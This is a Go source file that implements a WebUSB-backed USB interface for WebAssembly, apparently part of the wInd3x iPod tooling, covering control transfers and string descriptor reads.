    "path": "web/wiwali/usb.go",
    "content": "package main\n\nimport (\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"log/slog\"\n\t\"syscall/js\"\n\t\"time\"\n\t\"unicode/utf16\"\n\n\t\"github.com/freemyipod/wInd3x/pkg/devices\"\n)\n\n// usb implements pkg/devices.USB backed in WebUSB, at least as much as\n// possible.\ntype usb struct {\n\tusbDevice js.Value\n}\n\nfunc (u *usb) UseDefaultInterface() error {\n\tif _, err := await(u.usbDevice.Call(\"open\")); err != nil {\n\t\treturn fmt.Errorf(\"open: %w\", err)\n\t}\n\tif _, err := await(u.usbDevice.Call(\"claimInterface\", 0)); err != nil {\n\t\treturn fmt.Errorf(\"claimInterface: %w\", err)\n\t}\n\tif _, err := await(u.usbDevice.Call(\"selectAlternateInterface\", 0, 0)); err != nil {\n\t\treturn fmt.Errorf(\"selectAlternateInterface: %w\", err)\n\t}\n\tslog.Info(\"Default interface set up.\")\n\treturn nil\n}\n\nfunc (u *usb) UseDiskInterface() (devices.UsbMsEndpoints, error) {\n\treturn devices.UsbMsEndpoints{}, fmt.Errorf(\"unimplemented\")\n}\n\nfunc (u *usb) Control(rType, request uint8, val, idx uint16, data []byte) (int, error) {\n\ttoDevice := rType&0x80 == 0\n\trequestType := map[uint8]string{\n\t\t0: \"standard\",\n\t\t1: \"class\",\n\t\t2: \"vendor\",\n\t\t3: \"reserved\",\n\t}[(rType>>5)&0b11]\n\trecipient := map[uint8]string{\n\t\t0: \"device\",\n\t\t1: \"interface\",\n\t\t2: \"endpoint\",\n\t\t3: \"other\",\n\t}[(rType & 0b11111)]\n\tsetup := map[string]any{\n\t\t\"requestType\": requestType,\n\t\t\"recipient\":   recipient,\n\t\t\"request\":     int(request),\n\t\t\"value\":       int(val),\n\t\t\"index\":       int(idx),\n\t}\n\n\tif toDevice {\n\t\tslog.Debug(\"Control OUT\", \"rType\", rType, \"request\", request, \"val\", val, \"idx\", idx, \"len\", len(data))\n\t\tdataUint8Arr := toUint8Array(data)\n\t\tres, err := await(u.usbDevice.Call(\"controlTransferOut\", setup, dataUint8Arr))\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t\tstatus := res.Get(\"status\").String()\n\t\tif status == \"stall\" {\n\t\t\treturn 0, fmt.Errorf(\"stall\")\n\t\t} else if status == \"ok\" {\n\t\t\treturn res.Get(\"bytesWritten\").Int(), nil\n\t\t} else {\n\t\t\treturn 0, fmt.Errorf(\"invalid status: %q\", status)\n\t\t}\n\t} else {\n\t\tslog.Debug(\"Control IN\", \"rType\", rType, \"request\", request, \"val\", val, \"idx\", idx, \"length\", len(data))\n\t\tres, err := await(u.usbDevice.Call(\"controlTransferIn\", setup, len(data)))\n\t\tif err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t\tstatus := res.Get(\"status\").String()\n\t\tif status == \"stall\" {\n\t\t\treturn 0, fmt.Errorf(\"stall\")\n\t\t} else if status == \"babble\" {\n\t\t\treturn 0, fmt.Errorf(\"babble\")\n\t\t} else if status != \"ok\" {\n\t\t\treturn 0, fmt.Errorf(\"invalid status: %q\", status)\n\t\t}\n\t\tdataView := res.Get(\"data\")\n\t\tbl := dataView.Get(\"byteLength\").Int()\n\t\tfor i := 0; i < bl; i++ {\n\t\t\tv := dataView.Call(\"getUint8\", i).Int()\n\t\t\tdata[i] = byte(v)\n\t\t}\n\t\treturn bl, nil\n\t}\n}\n\nfunc (u *usb) SetControlTimeout(time.Duration) error {\n\t// TODO(q3k): don't call this for s5late-based sploits and throw an error here.\n\treturn nil\n}\n\nfunc (u *usb) GetStringDescriptor(descIndex int) (string, error) {\n\tres, err := await(u.usbDevice.Call(\"controlTransferIn\", map[string]any{\n\t\t\"requestType\": \"standard\",\n\t\t\"recipient\":   \"device\",\n\t\t\"request\":     0x06,\n\t\t\"value\":       0x0300 | descIndex,\n\t\t\"index\":       0x0000,\n\t}, 255))\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"when getting descriptor: %w\", err)\n\t}\n\tbuffer := res.Get(\"data\").Get(\"buffer\")\n\tarray := js.Global().Get(\"Uint8Array\").New(buffer)\n\tdata, err := fromUint8Array(array)\n\tif err != nil {\n\t\treturn \"\", fmt.Errorf(\"could not load returned descriptor: %w\", err)\n\t}\n\tif len(data) < 2 {\n\t\treturn \"\", fmt.Errorf(\"returned descriptor is too short\")\n\t}\n\tif len(data) != int(data[0]) || int(data[1]) != 3 {\n\t\treturn \"\", fmt.Errorf(\"returned descriptor is corrupt\")\n\t}\n\tarr := make([]uint16, len(data[2:])/2)\n\tbinary.Decode(data[2:], binary.LittleEndian, arr)\n\trunes := utf16.Decode(arr)\n\n\treturn string(runes), nil\n}\n\nfunc (u *usb) Close() error {\n\treturn fmt.Errorf(\"Close unimplemented\")\n}\n"
  }
]